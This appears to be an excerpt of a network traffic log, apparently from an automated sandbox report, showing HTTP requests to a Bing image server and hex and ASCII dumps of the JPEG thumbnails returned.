2024-11-24 03:20:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 606841 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F23AF55794654CE68B38F6B714E9E1B2 Ref B: EWR30EDGE0720 Ref C: 2024-11-24T03:20:23Z Date: Sun, 24 Nov 2024 03:20:23 GMT Connection: close
2024-11-24 03:20:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 32 20 30 39 3a 34 36 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ZExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:12 09:46:028
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: e8 6b 4d 16 a1 8b 6c 9b 5a ae 47 b5 7f e5 9d 53 8c b3 47 f3 7d ea d1 b5 46 78 d3 75 71 d4 67 b7 85 82 7a 45 12 c6 19 bf e5 9d 48 a3 f8 6a 48 63 dd b2 ac 2c 0a df 76 b9 1c 91 ee d3 a3 72 15 45 69 37 55 a8 63 66 a9 21 b4 ab 51 c0 cb 1e ea e7 9d 43 d3 a3 87 7d 51 5e 3b 7a 95 61 db 53 ad bb 35 48 b6 cc 6b 17 50 ee 8e 1f 4d 11 5d 53 6d 0a 1a ae 47 06 ef bd 52 47 6e bf f0 2a cd cd 1b c6 83 65 35 0d 53 2f fb 55 71 6d d5 be ed 3b ec eb 51 ed 11 d1 1a 0d 11 c3 1d 4e b1 2f 99 f3 52 ac 6a b5 2a 8d bf 7a b2 94 ae 75 53 a6 b6 62 ac 4b 52 c3 1a ad 44 c5 bc bf 96 8c ca b5 9b 3a 54 51 6f 62 d1 84 a8 3c d6 6a 99 77 37 de a8 3a 23 66 84 c5 3b ef 52 aa 50 c2 95 cb b0 aa 31 4b 42 a3 53 d5 2a 1b 34 5b 02 d3 96 91 85 3a 31 ba a1 bb 96 90 67 15 22 bd 37 65 2c 62 91 a2 d0 b2 a7 Data Ascii: kMlZGSG}FxuqgzEHjHc,vrEi7Ucf!QC}Q^;zaS5HkPM]SmGRGne5S/Uqm;QN/RjzuSbKRD:TQob<jw7:#f;RP1KBS*4[:1g"7e,b
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 5c 7e ef e6 ae 77 5c ff 00 59 f2 ff 00 e3 95 ea 61 6f 75 73 e3 b3 a7 07 06 d1 93 30 65 f9 7f 86 a1 61 56 64 a8 b9 af 50 f8 f4 40 c1 aa 36 18 a9 da 93 15 46 9c c5 7c d1 9a 99 a2 55 a6 32 62 82 b9 93 1b 4c 6a 73 52 71 41 43 72 68 a7 6d f7 a6 e0 d0 30 a5 5a 4a 29 dc 43 a9 33 42 d1 8a 40 3d 4d 2e 6a 3c d3 e8 13 1d bb de 85 34 da 76 df 6a 04 3a 9d 4c 5a 91 68 21 89 d6 8a 28 a9 10 51 4e fb d4 6d f6 a0 1b 1b 4e db ed 4b 8a 31 40 ae 26 df 6a 6d 4b b2 8d 94 05 c8 a8 e6 a7 58 dd a3 dd fd da 6f 96 df c3 40 ee 47 8a 5d be d4 ff 00 29 fd 6a 55 89 9b ee d2 ba 0b 37 b2 2b ed f6 a9 6d ed e4 7f b9 1e ea bf 63 64 cd 22 b4 91 d6 9d ad b2 c1 f2 af de ac 2a 62 23 1d b7 3d 1c 3e 5f 52 a5 9c b4 46 0f d9 a4 f3 36 d4 d1 d9 4b e5 fc d5 bb e4 2f de d9 4e 58 bf ef 9a c5 e2 59 db 0c Data Ascii: \~w\Yaous0eaVdP@6F\|U2bLjsRqACrhm0ZJ)C3B@=M.j<4vj:LZh!(QNmNK1@&jmKXo@G])jU7+mcd"*b#=>_RF6K/NXY
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: a7 c5 35 a8 27 94 65 36 9c c2 9a c2 82 42 8e 69 19 55 be f5 2f 34 00 51 45 2e 69 a0 16 8a 6d 26 69 80 fa 36 fb 53 37 d1 be 80 1f 4b 8a 6e 69 54 d4 80 ee 94 ea 66 68 cd 03 4e c4 bb bd e9 ac 6a 3d de f4 31 a0 7c c8 7e 69 54 d4 7b 9a 95 68 1a 77 26 cd 3b 35 0e 69 d9 a0 ab 8e cd 2b 3d 33 34 9c d2 b0 f9 87 e6 8c d3 14 d1 45 87 70 99 3c d8 fc b5 92 45 6f ef a3 ed ac 5f 0f f8 a7 4c d5 35 27 d3 63 9f 75 c2 bb 2a 3f f0 cc c3 3b 87 d7 e5 ad a8 7f d7 a2 b7 f7 eb e6 fb ad 67 c7 ba 4f c6 9f 32 4d 26 fb fb 0e eb 56 6b 3b 1b 4f b5 7e e1 e6 49 37 e4 c8 4f ca bb 57 9c 2e 0f 20 53 8c 6e 65 39 b8 ea 8f a4 33 ba 93 35 4b 43 b8 9e eb 4d 49 ae 20 f2 a4 df b7 e4 7d cb ff 00 01 ab 95 26 8a 57 57 06 34 51 45 03 b8 99 a4 a9 39 a4 c5 03 19 bb de 8d de f4 fc 52 30 a0 06 d1 4e a2 81 Data Ascii: 5'e6BiU/4QE.im&i6S7KniTfhNj=1\|~iT{hw&;5i+=34Ep<Eo_L5'cu*?;gO2M&Vk;O~I7OW. Sne935KCMI }&WW4QE9R0N
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 1b 73 1f c2 b1 ae af 7e e7 4d 07 6b 68 7a 5f c1 3d 63 5a 83 c5 5a 34 97 d1 e9 ba 5e a1 e2 6b 7f 22 c6 67 ba 56 9e e5 4e 66 79 1a 2e b1 cb 2b 36 01 5e 8a df 77 a5 7b 6f c6 a8 db 5c f8 11 ae 5c 68 f7 fe 54 91 58 fd b2 19 bf 8a 16 87 f7 8d ff 00 02 1b 2b c3 7e 0e fc 44 d2 ad be 0e e9 9a 2e b4 9a 56 97 ae 78 6a c7 6a 6a 97 df 32 ea 16 53 6f 78 7c a5 4f de b4 9f 2f b1 5f 5a f4 4d 17 e2 a7 87 a6 f8 1f ab 5e 5e 6b ba 6d d4 8b 63 0f d9 ed 1d 16 2f dd ed 4f bf fc 52 26 fd db 88 07 01 30 79 ac e9 b8 28 b8 df 72 ea 46 4e 5c c7 c5 57 da 84 b7 16 a9 ab 5f 5f ea 5f 6e de b2 fd a3 ef 32 65 b7 02 ac 79 66 fb c7 35 d8 5b dd e8 7a bf c2 7d 5b 52 92 d2 fb fb 41 ae 21 8a d3 51 bb 9d b7 26 57 13 3c 8f ff 00 2d 72 df c0 17 2a 39 cf 35 d8 78 a3 e1 da f8 b7 58 f1 34 92 6b 5a 96 Data Ascii: s~Mkhz_=cZZ4^k"gVNfy.+6^w{o\\hTX+~D.Vxjjj2Sox\|O/_ZM^^kmc/OR&0y(rFN\W___n2eyf5[z}[RA!Q&W<-r*95xX4kZ
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 00 5a c2 f8 99 e3 1d 7b c6 5a e5 c6 a1 79 3e eb 58 bc b5 b7 87 fe 59 59 46 8b 1a 2f 94 3f 83 ee 0e 95 d9 fe ce 3a fe 99 3f 8c 6c 6f 35 4f b0 c5 67 a6 dc 34 ff 00 68 d8 bb 52 f5 d4 ed 9d c3 e4 3a 22 ae d0 3b 3b e7 15 9d 47 b3 2a 25 8f 04 d8 6b da 36 87 ab 6b 4b e1 3b 58 ac 74 6b 7b 48 35 48 66 dd 3b 79 85 9e 48 fc fd 9c 29 63 b7 70 6f ba 76 66 ad fe cf 37 fa aa 7c 7e f0 f7 97 ab 5f 4b 0d 9e a9 77 63 7d 69 6f 62 db 6d a3 9a 43 23 db a3 7f 1a be 33 b7 ad 74 6d f1 27 57 4f 18 f8 d3 c2 be 15 92 0b ad 3f c5 5a b3 4f 7d fd a9 a7 2f 9a f1 fd 95 17 cd 6f e1 5f bb bb f5 ac 1f 82 3e 34 f1 8d 94 76 3a 7e 8f a9 58 c5 f6 af 12 5c cf 2c d6 f6 b1 b4 b7 2a 8a 9b a5 97 78 fb a3 cb 5d 9f 8d 73 4e 71 85 da d8 b5 76 7b 17 8c 3e 20 ea fa cd c6 93 e0 f8 52 ee de de ce e2 75 9b Data Ascii: Z{Zy>XYYF/?:?lo5Og4hR:";;G%k6kK;Xtk{H5Hf;yH)cpovf7\|~_Kwc}iobmC#3tm'WO?ZO}/o_>4v:~X\,x]sNqv{> Ru
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: a3 65 47 f3 6e 23 93 6e df ef d6 a5 bf 8a 96 29 fc c8 e3 85 3f 85 11 e0 5d bf 9a 9c d2 b7 8a 9c 24 3f e8 96 bf 2f df f9 3e ff 00 f9 ed 51 cd 3e 91 36 f6 54 15 af 53 f0 ff 00 82 43 f6 b8 1f ef 79 6b ff 00 6f 52 7d df ce 92 49 60 3b 1a 3f 2f e6 f9 7f d7 49 57 1b c4 b6 6f 32 37 d8 7c a5 fe 3d 90 46 db ff 00 95 36 3f 10 d9 b4 08 d2 69 b1 f9 8b bb 63 a2 2a ab fe 1d b1 52 b9 bf 94 d6 51 a5 ff 00 3f 57 fe 02 55 86 ef 64 ff 00 bb 82 05 db bb e7 47 6f 9f fe fa a5 86 fe fb c8 da b2 6d 8d bf d8 5d bb aa c2 eb b6 9f 77 ec 91 f9 7b 3e 7f e1 f9 8f f7 46 29 bf db 16 d6 f2 3f 93 06 e6 97 6f df 7d bd 3f e0 34 3d 7e c8 a2 e0 ad 6a bf 71 03 45 7c ff 00 2a cf 6b 13 36 ef 9f e5 fb bf 85 44 b2 df 27 ef 16 48 db 6a 7c 8e 90 7c cf b7 b8 3f d6 b4 57 c4 1a 52 4e eb 35 a7 cc ce bf Data Ascii: eGn#n)?]$?/>Q>6TSCykoR}I`;?/IWo27\|=F6?icRQ?WUdGom]w{>F)?o}?4=~jqE\|k6D'Hj\|\|?WRN5
2024-11-24 03:20:24 UTC	16067	IN	Data Raw: 71 df bd 7b 07 c1 5f 8c 9a 56 9b e2 4b bb 1f 11 5f c9 2c 3a 6d a6 dd 3a e2 64 66 9e f5 52 47 e2 65 fe f8 46 e3 a6 76 57 98 6a d3 e8 7f 65 b7 f1 15 9f 97 6b 33 3d c7 da ed 1d db 6d cf ef 36 c7 73 1a b6 4a af 77 4c e7 db 15 dd 91 e1 31 78 69 62 68 d7 5a 4a d6 6b 6d 53 db f5 32 c6 d7 a1 51 53 94 5e ab fe 01 b1 e2 cb 2d 43 c5 1e 3f 87 50 f1 25 df f6 6d 8c 4e b1 69 cf e5 aa fd 8a cb cc db bf f8 46 e3 f3 13 8c fc cd 59 1f 13 a2 d1 5e c5 34 bf 04 c7 f6 cd 2f 4d db b3 51 86 e9 9a ea 65 2c 73 e6 c2 de fd 36 83 f5 aa 7a 09 d3 f5 cd 72 e2 df 56 bb be bc 6b 79 bf e2 5c 9b 19 95 e3 76 3b d9 73 c2 ae ee df 2d 64 78 92 4d 3d f5 27 8f 4d 82 d6 c2 3b 7d cd 6e 93 7e e2 57 5f 69 07 0d 9e d9 f9 ab e9 70 b4 7d 9b 8c 3f 95 2e 9a 1e 6d 49 de ef bf de 47 e1 34 8a d6 ea e2 e2 49 Data Ascii: q{_VK_,:m:dfRGeFvWjek3=m6sJwL1xibhZJkmS2QS^-C?P%mNiFY^4/MQe,s6zrVky\v;s-dxM='M;}n~W_ip}?.mIG4I
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: f5 c4 47 ff 00 89 75 cd be ed c8 fb 8f ee f7 12 fe 50 2b fd ce 3e f5 79 56 9f e1 1b e5 81 b5 29 36 7d 8d 6f 9a d2 54 49 ff 00 e3 da 41 f3 04 73 db 2a 3d f7 6d af 5b 0f 89 a3 52 4e 53 4b 99 5b d7 fa 76 2f 96 4a 2a 29 e8 c9 fe 14 e8 9f 68 d5 61 bc bc f9 59 9e 35 85 11 f6 b2 65 bf 2e 76 e3 fe 05 49 e2 24 8b 49 92 fa 49 2e 3e d0 d1 4d f6 6b 77 74 65 64 cb 6f c7 f7 46 3f 2a df d5 ad 22 f0 f6 8f 69 67 25 dc 9f 6c bf 86 6d ef bf 72 db 30 6c ec 21 b9 e7 80 4d 70 7a c4 ec b1 c3 ba 49 25 87 63 37 ce 9f 7f de bb 69 5e a4 9c d3 d1 9a 4e d0 82 8f 51 2d 4a db fc b7 11 c9 b9 be ff 00 f7 aa e7 85 fe d3 16 b1 6f 37 ee d9 ad 66 56 d8 ff 00 34 4f eb b8 7f 76 a9 68 62 0b 8b e4 6b a9 24 58 7e 6d ef bf ee 7c bc 6d fa 56 97 83 6e 16 0f 1a 58 ea 0d 77 6b 6b e5 4c b2 bb dc 23 4b Data Ascii: GuP+>yV)6}oTIAs=m[RNSK[v/J)haY5e.vI$II.>MkwtedoF?*"ig%lmr0l!MpzI%c7i^NQ-Jo7fV4Ovhbk$X~m\|mVnXwkkL#K
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 2d 5e e2 d7 c5 1a c4 ab 14 cc af 32 5a c7 b5 d4 77 55 eb b7 fd a1 5a 1f f0 cb ff 00 0e ec 3f 7d 7d ab 78 8d 21 fd cf fa e8 3f bf fe ea 1d ab ee 6b 2f ed 1a 36 be bf 71 b7 f6 7d 6b db 4f bc f8 f5 85 cb ff 00 b3 b7 fe f9 a9 14 5e 7f cf 4d b5 f6 0e a9 f0 43 e0 7e 9d 71 bb 56 d6 af a2 86 df 72 cd bf 54 55 95 d5 3f 8b 6e d0 7f 01 5e 5d f1 62 df e0 7e 97 e1 ff 00 b2 f8 7f 4d ba fb 45 e4 2a d1 5d da 6b 0b 7d e4 b0 6f e2 5e 36 e5 7a 8f ca 9c 31 d0 a8 ed 14 c5 3c 0c e0 9b 94 91 e5 5a 0c 6d 3e 95 70 d7 11 ee fb 3c 32 32 7c fb 7f 86 b2 34 f8 da 3f de 37 cd 5b da 85 bb 2d 8c d3 69 3a 4d f2 d9 aa 2f 9d 36 c6 65 dc 57 9f 98 8f 97 f1 ac 95 2a d0 24 71 ff 00 c0 eb a1 6b a9 c6 d5 8b 5f 66 65 81 2f ae 3e 58 d9 f6 c2 8f fc 75 7d a2 8a d2 08 a1 8e 38 25 ba 97 e6 79 be 6f 93 Data Ascii: -^2ZwUZ?}}x!?k/6q}kO^MC~qVrTU?n^]b~ME]k}o^6z1<Zm>p<22\|4?7[-i:M/6eW$qk_fe/>Xu}8%yo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49737	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	346	OUT	GET /th?id=OADD2.10239402369559_1P8IC1BLUXN6I3CCR&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-24 03:20:24 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 623855 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 55B834FD61D54F02855B9B082809C125 Ref B: EWR311000107047 Ref C: 2024-11-24T03:20:23Z Date: Sun, 24 Nov 2024 03:20:22 GMT Connection: close
2024-11-24 03:20:24 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 84 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 ec 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 30 31 39 2e 6d 2e 32 38 31 35 20 61 32 34 39 64 30 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 30 35 20 31 33 3a 35 35 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 Data Ascii: JFIF``ExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241019.m.2815 a249d04) (Windows)2024:11:05 13:55:418
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 8e 9d 1a 54 98 db 5c d5 2a b7 a2 3b 28 d1 4b 5e a3 31 b6 8a 5e 94 56 2b 52 db b1 e8 ed 4c 6a 7c 94 c6 af 9d 47 b6 44 d4 d6 a7 35 46 df 35 68 91 9c b7 22 63 49 9a 7c 82 99 18 7a d5 2d 09 06 15 0c 91 d5 9d be d4 dc 7f 0d 24 ec 22 97 95 fb cd d5 66 38 b7 54 d1 c5 56 63 89 6b 57 59 20 e4 66 54 d0 6e 93 6d 5e b1 b7 66 ab 91 da 29 ab 16 b6 fb 69 4f 10 9c 6c 28 51 d4 af 1d bd 45 34 7b 7e f5 6c c7 07 ee ea bd d5 bf ef 2b 9e 35 6e cd 9d 3b 23 23 ec db a9 1a d7 6d 6a 2c 1b be ed 23 41 57 ed 99 3e ce e6 0d d5 9e ef bb 54 da 2d 95 d1 dc 41 59 97 56 8c d2 6e ae ba 35 bb 9c f5 21 d8 a5 1c 2e d4 c9 23 64 ad 28 e3 db 49 34 1b ab 45 53 5d 36 25 c5 58 cd da f5 24 3b 56 ac 7d 9d be ed 49 6f 6f fc 55 72 a9 16 89 51 77 1a b1 ee a7 79 3e f5 7a de df 6d 4d e4 57 2b a8 af a1 d1 Data Ascii: T\*;(K^1^V+RLj\|GD5F5h"cI\|z-$"f8TVckWY fTnm^f)iOl(QE4{~l+5n;##mj,#AW>T-AYVn5!.#d(I4ES]6%X$;V}IooUrQwy>zmMW+
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 96 e6 4d d4 0a b5 06 ca d3 98 6e aa f3 47 b6 4a d2 35 5e cc 87 4d 5e e5 36 8e a2 68 ff 00 8a ae 32 54 4c 55 6b 54 d9 9c 92 5a 10 2a 54 ca 94 ec 52 a9 db 4a 57 63 8d 90 e5 4a 6f 97 52 29 56 a3 65 60 d3 46 dc ca da 10 79 74 f8 c6 da 91 b6 d4 6c ea b4 f9 5b 42 e6 8a 2e 47 b5 a3 a1 97 f8 aa b4 6f 43 49 b6 a3 d9 b2 f9 d0 b3 6d 6a cc ba 45 59 2a e4 92 d5 2b 86 56 ae dc 3c 64 99 c3 88 9a b1 46 e3 e6 92 a3 54 a9 d9 29 55 2b d6 8c d4 55 8f 23 d9 b9 4a ec 6c 63 75 2f 97 fc 55 2c 71 d2 b1 db 5c ee 6d bd 0e 95 18 c5 5e 44 2c 8a b4 ac 69 19 e9 9b bd ea e3 06 f5 66 72 aa 96 c4 94 54 2a 6a 5c bd 4c a9 be 85 c2 be 80 d4 cf bd 52 52 62 90 e4 ee 22 8a 77 cb 4a b4 d6 3b aa 79 5d cb 53 e5 42 36 da 45 a4 63 4c 67 ab 8d 1d 0c de 22 ce ec 95 8d 45 21 5a 67 cd 43 0a d1 50 b1 84 Data Ascii: MnGJ5^M^6h2TLUkTZTRJWcJoR)Ve`Fytl[B.GoCImjEY+V<dFT)U+U#Jlcu/U,q\m^D,ifrT*j\LRRb"wJ;y]SB6EcLg"E!ZgCP
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 75 d0 c2 d3 7b a2 9f d9 29 bf 66 ad 2d 94 6c ae 67 8b a8 75 fd 4e 97 63 3b c8 db 49 8d bf 2d 68 49 16 ea 6f 95 b6 8f 6e d9 4b 0e 96 c5 35 14 ea b1 e4 a5 23 47 52 aa 5d 94 a0 40 a5 aa 65 7a 89 85 0b 4a 56 60 b4 2c 79 d4 9e 6b 2d 57 92 4d b5 13 4f b6 9c 70 fc db 22 65 88 51 dc bd e7 bd 2f 9c d5 43 ce f7 a7 c3 3e ea 99 e1 a4 b5 b1 31 c4 c2 4e c9 96 59 da 8a 23 3b be 5a 2b 07 1b 74 3a 96 a8 64 30 41 61 6a 91 f9 f3 dc 6e dd b3 e4 f9 b6 8a cb f3 22 ba dd 25 af cb 22 ff 00 03 fc b5 7a e2 fe da ea 34 ba b7 bb 8d a4 b7 dc d0 a2 7c cd ca e3 f4 fc e9 90 db 2b 46 f3 43 1c 7e 62 a7 df fe fd 5c 63 a6 a6 72 90 ba 48 f3 e3 db 71 06 d9 b6 6e 44 df 45 bc 8b 3c 9b 57 cb db fc 7b 3e 6a bd a3 8d fb 19 64 8d 97 e5 ac fb 8b 65 9e ea 6b af 22 4b 78 fc ef 29 11 ff 00 bd 4b 97 57 Data Ascii: u{)f-lguNc;I-hIonK5#GR]@ezJV`,yk-WMOp"eQ/C>1NY#;Z+t:d0Aajn"%"z4\|+FC~b\crHqnDE<W{>jdek"Kx)KW
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 9d 9c 13 aa db a7 9f f3 a7 df cf 75 ac 3d 34 af da 9e 1f 22 45 5b 77 6f bf fc 79 5a e9 1a 4d 43 49 9f 4f b1 69 3e cb 27 da 19 5f 64 ec ab 32 f4 55 3b 3f bd d3 eb 4e 9a db ca b8 9b f7 72 6d d9 b7 e4 fb db bb 57 55 39 de 4d 2d 8c a5 16 92 33 ec e5 82 c3 ce 55 92 45 58 1d 65 74 7f 9b 7a 96 ed fe d7 f4 aa 96 ba e7 95 74 f1 f9 7f bb 54 56 de 8f f7 3a d6 ad be 99 67 71 6b e4 c9 04 8a c8 8a d0 ba 7c bb fd 8d 73 da 96 89 72 90 3c 8b 1f cb b3 77 fb 5f 78 d1 2a b6 76 e8 0a 9d d5 cf 42 f0 de a1 15 e6 9a f2 2c 91 b2 ca fb 91 13 f8 1b b5 6f e9 7e 12 d4 35 7b ad b6 bf 34 6a 91 ab cd f7 62 ff 00 57 b4 ff 00 e3 d5 e3 1a 4d e4 f6 12 79 8b e6 2b 6c 5f 25 f7 fc b5 eb 3e 1f f1 ee a7 e1 fb 1b 7b 5b ef 22 e2 3b a9 a3 f2 7c 94 6d c8 bb 7e f7 a5 4e 22 35 39 39 e9 6e 14 5c 23 34 Data Ascii: u=4"E[woyZMCIOi>'_d2U;?NrmWU9M-3UEXetztTV:gqk\|sr<w_x*vB,o~5{4jbWMy+l_%>{[";\|m~N"599n\#4
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: b9 32 db 5c cb 3c 36 76 b0 79 b2 4a eb 14 30 a7 f1 b1 e0 0a f7 0f 83 37 3e 1c b2 d2 df c3 7a 3e a5 6b 79 a9 5a fe f7 54 78 77 7c f2 6e da db 58 8c 3a a7 dc e2 b2 7f 67 9f 07 c1 1c 09 e2 cd 52 0f 9a 54 65 d3 91 ff 00 ba 7e 56 97 ff 00 89 ae b3 e1 7f 81 34 cf 02 da ea 0b f6 b8 ef ee 2f 36 c4 97 0f 03 2f 93 6e 1b 76 df f7 8b 05 c9 ff 00 66 b8 f3 0a ea 69 c2 3d 0e cc 1d 27 1f 7d f5 3a 59 23 95 ff 00 76 de 5e ef bc 9f e7 de b8 ff 00 17 5a dc d9 5a cd 71 62 f2 45 b1 15 6e 21 d9 fe ba c0 b6 e6 43 ff 00 5c e4 f9 87 f7 79 ec 6b ad 69 22 59 37 34 9f 2d 3a fa 35 9e 14 9a de 3d cc bf 32 6f fb bb bb af fb ac b5 f0 79 cc 27 83 c4 53 cc 68 ab b8 b5 cd e9 df fc fc 8f a5 c1 ce 35 69 4b 0d 3d 9e c7 99 c7 3f fc 7f 2f 99 ba 46 b4 93 ee 3e ef 94 46 7b d7 8f 7e c3 fb d7 e2 86 Data Ascii: 2\<6vyJ07>z>kyZTxw\|nX:gRTe~V4/6/nvfi='}:Y#v^ZZqbEn!C\yki"Y74-:5=2oy'Sh5iK=?/F>F{~
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: ed d3 f9 3b 16 55 86 3f bb bb 6b 9c fc df 52 7a 56 ce 9f af 78 7b c5 be 1c 49 16 ef fd 1f 54 9b cf 85 f7 ee 64 ef 9f 5c fb 76 a9 b4 ff 00 0e 5f 68 d6 a9 71 67 a9 7d be 65 46 96 ee d3 e5 dd e5 f4 ed fc 42 bd 8a 6f d9 d3 71 93 6a 46 0d 27 24 ed 74 73 7a b5 b6 ae d6 28 da 5d a4 12 de 2b c8 b7 db d3 6e c8 53 e6 fb 9f de 3f ad 1a c4 16 da a6 95 63 66 b7 f2 45 1c b6 9b 76 4d f2 b6 e4 6c a8 1e e1 bf 88 56 df 8e 17 76 ab a6 6a 9a 4c 12 45 e6 db aa bd f3 fc b6 d3 2e ec 2e ec 8e ab d0 f1 47 8e 20 9f c5 be 1f b4 87 4b 9e 3b 8b cd 37 cc 8b 7a 24 6d fe e9 7f ee 67 67 e3 ba ba a9 4a dc b2 ef 7f 91 85 44 9d d7 53 2e 6f 0c 33 e9 bf 68 d2 e3 ba b8 8e f1 3c d7 86 6f 95 66 91 3e 7f 95 ba ee f4 3d ea bd d6 97 a9 f8 9b c2 ba 7c df b8 8a e9 66 9a e5 e6 85 db 73 c8 58 ef 52 8d Data Ascii: ;U?kRzVx{ITd\v_hqg}eFBoqjF'$tsz(]+nS?cfEvMlVvjLE..G K;7z$mggJDS.o3h<of>=\|fsXR
2024-11-24 03:20:24 UTC	16069	IN	Data Raw: 53 0f cb 2a b0 4d c7 69 59 bb 76 da eb f4 32 a3 7a 52 51 9a 6a 2f 7d d6 87 90 78 fa 7d 4b 41 f1 55 f6 93 e2 88 27 5d 4a cd d6 07 8b 67 cb c7 2b ca f1 83 9c d6 4d 99 67 ff 00 48 93 fd 64 bf 7f fd 8f 45 af 6c f8 ad e1 7d 0f e2 37 8f f4 fd 7b c3 7e 28 f0 ce 9a ba cd ba c5 77 0d f6 b0 bb ad a4 4e 37 4c 79 0b 95 da 3e 5c d5 df 89 df 07 34 4f 0c 78 47 47 d1 fc 21 34 3e 2c f1 25 e2 c9 73 a8 6a 76 3a 8c 6d 6d 67 1c 4b 93 14 69 bb a9 ee cf d7 b7 a5 7b 78 2c 45 e8 53 95 48 da 6d 2b ae ce c7 9d 89 a3 15 52 51 8b ba e8 79 7f 85 74 0d 57 5c 9e 5b 1d 26 d3 ed 17 5e 52 b3 a6 f5 5d 99 64 8c 7f e3 d2 2d 7b a7 c7 24 d9 e2 7f 08 e9 7a a4 f2 5b cd 75 a7 79 56 96 96 ee b2 ce f7 21 bc b2 bc 64 73 d8 d1 f0 87 e0 0f c4 3f 0c 6a b6 9e 2c d7 ac 63 4d 3d ac 5a 47 86 de 75 96 e6 16 Data Ascii: S*MiYv2zRQj/}x}KAU']Jg+MgHdEl}7{~(wN7Ly>\4OxGG!4>,%sjv:mmgKi{x,ESHm+RQytW\[&^R]d-{$z[uyV!ds?j,cM=ZGu
